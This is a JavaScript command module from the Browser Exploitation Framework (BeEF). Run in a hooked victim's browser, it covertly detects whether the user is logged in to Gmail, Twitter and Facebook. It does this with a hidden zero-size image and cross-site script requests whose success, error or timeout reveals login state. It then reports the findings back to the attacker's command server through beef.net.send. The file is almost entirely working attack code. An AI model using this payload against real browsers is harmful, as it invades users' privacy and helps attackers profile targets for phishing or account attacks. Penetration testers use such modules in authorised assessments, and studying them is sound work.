75 lines
2.4 KiB
JavaScript
75 lines
2.4 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
|
|
var facebookresult = "";
|
|
var twitterresult = "";
|
|
|
|
if (document.getElementById('gmailimg')) {
|
|
return "Img has already been created";
|
|
}
|
|
|
|
var img = new Image();
|
|
img.setAttribute("style","visibility:hidden");
|
|
img.setAttribute("width","0");
|
|
img.setAttribute("height","0");
|
|
img.src = 'https://mail.google.com/mail/photos/static/AD34hIiQyJTs5FhsJ1mhFdK9wx4OZU2AgLNZLBbk2zMHYPUfs-ZzXPLq2s2vdBmgnJ6SoUCeBbFnjRlPUDXw860gsEDSKPrhBJYDgDBCd7g36x2tuBQc0TM?'+ new Date();
|
|
img.id = 'gmailimg';
|
|
img.setAttribute("attr","start");
|
|
img.onerror = function() {
|
|
this.setAttribute("attr","error");
|
|
};
|
|
img.onload = function() {
|
|
this.setAttribute("attr","load");
|
|
};
|
|
|
|
|
|
document.body.appendChild(img);
|
|
|
|
$j.ajax({
|
|
url: "https://twitter.com/account/use_phx?setting=false&format=text",
|
|
dataType: "script",
|
|
cache: "false",
|
|
complete: function(one, two) {
|
|
if (two == "success") {
|
|
twitterresult = "User is NOT authenticated to Twitter (response:"+two+")";
|
|
} else if (two == "timeout") {
|
|
twitterresult = "User is authenticated to Twitter (response:"+two+")";
|
|
}
|
|
},
|
|
timeout: <%= @timeout %>
|
|
});
|
|
|
|
$j.ajax({
|
|
url: "https://www.facebook.com/imike3",
|
|
dataType: "script",
|
|
cache: "false",
|
|
error: function(one, two, three) {
|
|
facebookresult = "User is NOT authenticated to Facebook";
|
|
},
|
|
success: function(one, two, three) {
|
|
facebookresult = "User is authenticated to Facebook";
|
|
},
|
|
timeout: <%= @timeout %>
|
|
});
|
|
|
|
setTimeout(function() {
|
|
var img2 = document.getElementById('gmailimg');
|
|
if (img2.getAttribute("attr") == "error") {
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
|
|
} else if (img2.getAttribute("attr") == "load") {
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
|
|
} else if (img2.getAttribute("attr") == "start") {
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
|
|
};
|
|
document.body.removeChild(img2);
|
|
img = null;
|
|
img2 = null;
|
|
}, <%= @timeout %>+3000);
|
|
|
|
});
|